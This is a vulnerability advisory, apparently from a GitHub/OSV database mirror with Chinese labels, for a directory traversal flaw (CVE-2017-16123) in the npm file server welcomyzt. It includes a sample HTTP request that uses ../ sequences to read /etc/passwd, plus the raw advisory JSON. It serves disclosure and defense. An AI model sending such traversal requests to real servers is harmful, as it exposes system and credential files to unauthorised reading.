GHSA-8FV7-VM2P-5495高危已审查

Directory Traversal in welcomyzt

OSV 1.4.0 · github-reviewed · 修改于 2023-09-12 00:37

发布时间

2020-09-02 01:23

GitHub 审查时间

2020-09-01 02:21

NVD 发布时间

—

源文件

advisories/github-reviewed/2020/09/GHSA-8fv7-vm2p-5495/GHSA-8fv7-vm2p-5495.json

公告说明

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

受影响的软件包

npm

welcomyzt

ECOSYSTEM

标识信息

别名 / CVE

CVE-2017-16123

CWE

CWE-22

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

原始 OSV JSON

{
  "id": "GHSA-8fv7-vm2p-5495",
  "aliases": [
    "CVE-2017-16123"
  ],
  "details": "`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
  "summary": "Directory Traversal in welcomyzt",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0.0.0"
            }
          ]
        }
      ],
      "package": {
        "name": "welcomyzt",
        "ecosystem": "npm"
      }
    }
  ],
  "modified": "2023-09-11T16:37:05Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
    }
  ],
  "published": "2020-09-01T17:23:53Z",
  "references": [
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16123",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket",
      "type": "WEB"
    },
    {
      "url": "https://www.npmjs.com/advisories/388",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2020-08-31T18:21:24Z"
  }
}